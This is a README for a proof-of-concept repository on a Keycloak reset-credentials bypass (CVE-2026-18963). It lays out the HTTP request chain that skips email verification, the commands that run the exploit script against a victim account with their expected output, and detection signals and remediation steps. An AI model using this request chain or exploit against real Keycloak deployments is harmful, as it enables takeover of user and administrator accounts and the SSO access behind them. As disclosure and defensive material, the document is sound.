CVE-2026-18963 — Keycloak Reset-Credentials Bypass → Account Takeover
Unauthenticated account takeover in Keycloak's reset-credentials flow. An attacker who knows only a username/email can reset any user's password — including admins — without ever receiving the verification email.
⚠️ Disclaimer — Ethical use only
This proof of concept is published strictly for educational purposes, defensive research, detection engineering, and authorized security testing.
- Use it only against systems you own or have explicit written authorization to test. Accessing or modifying systems without permission is illegal and unethical.
- This is a defensive/educational resource meant to help teams understand, detect, and remediate CVE-2026-18963 — not to attack third parties.
- The author (red-darkin) assumes NO responsibility or liability for any misuse, damage, or illegal activity carried out with this code. You are solely responsible for how you use it and for complying with all applicable laws.
- By downloading or using this repository you accept these terms. If you do not agree, do not use it.
See DISCLAIMER.md for the full statement.
Summary
| CVE | CVE-2026-18963 |
| Severity | Critical — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Weakness | CWE-640 — Weak Password Recovery Mechanism |
| Affected | Keycloak < 26.7.2 (upstream). Also RH build streams fixed via 26.6.6 / 26.4.15 bundles |
| Fixed | Keycloak 26.7.2 (PR #51844) |
| Preconditions | Forgot password (reset credentials) enabled on the realm — the default |
| Impact | Full account takeover of any user (including realm admins) → IdP compromise + lateral SSO access |
How it works — two bugs chained
The password-reset (reset-credentials) flow normally forces you to click a link
emailed to the account owner before you can set a new password. Two defects let an
attacker skip that check entirely:
- Unscoped "Try Another Way" state — the authenticator-selector handler stores
the note
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true"not scoped to the execution ID. Re-entering the flow leaves the authentication session in a confused/stale state. - Missing token check in the email step —
ResetCredentialEmail.action()callscontext.success()without verifyingACTION_TOKEN_USER_ID(i.e. without confirming the emailed action token was actually consumed).
Chaining them advances the authentication session straight to the
UPDATE_PASSWORD step for an arbitrary user, no email required.
GET /auth (client_id=account) ── login page (has "Forgot password?")
GET /login-actions/reset-credentials … ── choose-user form
POST …reset-credentials tryAnotherWay=on ── bug #1: enter "Try Another Way" selector
POST …reset-credentials username=<victim> ── select user via selector
GET …/restart … ── refresh session state
GET /login-actions/reset-credentials … ── re-enter → STALE selector (corrupted state)
POST …reset-credentials username=<victim> ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
password-new=…&password-confirm=… ── 302 → password changed → TAKEOVER
See docs/ROOTCAUSE.md for the annotated patch diff.
Quick start (lab)
You need Docker and Python 3 with requests.
# 1) Spin up a vulnerable Keycloak + demo realm/user (any version < 26.7.2) ./run_lab.sh # uses keycloak/keycloak:26.5.0 # 2) Run the exploit against the demo 'victim' user pip install requests python3 exploit.py --base http://127.0.0.1:8080 --realm poc \ --client account --victim victim --new-pass 'Pwned-2026!'
Expected tail:
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
Then log in as victim / Pwned-2026! to confirm the takeover.
Negative control (patched)
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never servedUsage
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
--base Keycloak base URL, e.g. http://127.0.0.1:8080
--realm target realm (default: master)
--client public client without PKCE (default: account)
--victim victim username or email
--new-pass password to set
--proxy route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
-k skip TLS verification
Every HTTP response is written to ./dump/ for inspection.
Proxying through Burp
Keycloak already uses 8080, so point Burp's listener at another port (e.g. 8081):
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!' \
--proxy http://127.0.0.1:8081Raw request chain for Burp Repeater is in
requests/burp-chain.txt.
Detection
Look for a password change that was not preceded by email verification in the same authentication session:
- An
UPDATE_PASSWORDevent without a precedingVERIFY_EMAIL/EXECUTE_ACTION_TOKENfor that session. - Bursts of
reset-credentialsrequests carryingtryAnotherWay=on. - Multiple re-entries of
login-actions/reset-credentialsfor the sametab_id.
Remediation
- Upgrade to Keycloak 26.7.2 (or the fixed RH build stream) — top priority.
- Temporary mitigation: Realm settings → Login → Forgot password = Off.
- Post-patch: rotate admin credentials, force re-login after resets, and alert on the detection signals above.
References
- NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-18963
- Fix PR #51844 — keycloak/keycloak#51844
- Issue #51833 — keycloak/keycloak#51833
- Red Hat — https://access.redhat.com/security/cve/cve-2026-18963
Demo
Credits
- red-darkin — lab reproduction, PoC, and write-up.
- Claude (Anthropic) — research and PoC development assistance.
Chain corroborated against the public Keycloak patch (PR #51844) and community write-ups.
License
MIT © red-darkin — for educational and authorized testing use only.
